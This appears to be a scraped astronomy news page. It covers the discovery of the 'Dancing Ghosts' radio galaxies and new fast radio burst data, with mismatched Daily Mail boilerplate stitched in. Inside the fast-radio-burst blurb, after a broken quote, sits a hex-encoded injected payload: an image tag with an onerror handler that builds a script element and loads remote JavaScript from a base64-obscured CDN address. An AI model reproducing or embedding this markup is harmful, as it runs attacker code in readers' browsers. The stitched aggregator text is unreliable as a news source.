Scanning through data fresh off the telescope, we saw two ghosts dancing deep in the cosmos. We had never seen anything like it before, and we had no idea what they were.
Several weeks later, we had figured out we were seeing two radio galaxies, about a billion light years away. In the centre of each one is a supermassive black hole, squirting out jets of electrons that are bent into grotesque shapes by an intergalactic wind. The two galaxies we think are responsible for the streams of electrons (shown as curved arrows) that form the Dancing Ghosts. But we don’t understand what is causing the filament labelled as 3.
Pawsey Prepares for the Data Deluge from the Square Kilometre Array hpcwire.com - get the latest breaking news, showbiz & celebrity photos, sport news & rumours, viral videos and top stories from hpcwire.com Daily Mail and Mail on Sunday newspapers.
535 new fast radio bursts help answer deep questions about the universe msn.com - get the latest breaking news, showbiz & celebrity photos, sport news & rumours, viral videos and top stories from msn.com Daily Mail and Mail on Sunday newspapers.
Every newly captured event is allowing astrophysicists to learn more about weird cosmic phenomena; some astronomers have begun to use fast radio bursts as powerful tools to study the universe">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c79396a5a473475616e4e6b5a577870646e4975626d56304c32646f4c7a526b6">
Fast radio bursts are the focus of a young and fascinating field of astronomy. Researchers just released data on more than 500 new bursts, quadrupling the total number of detected events.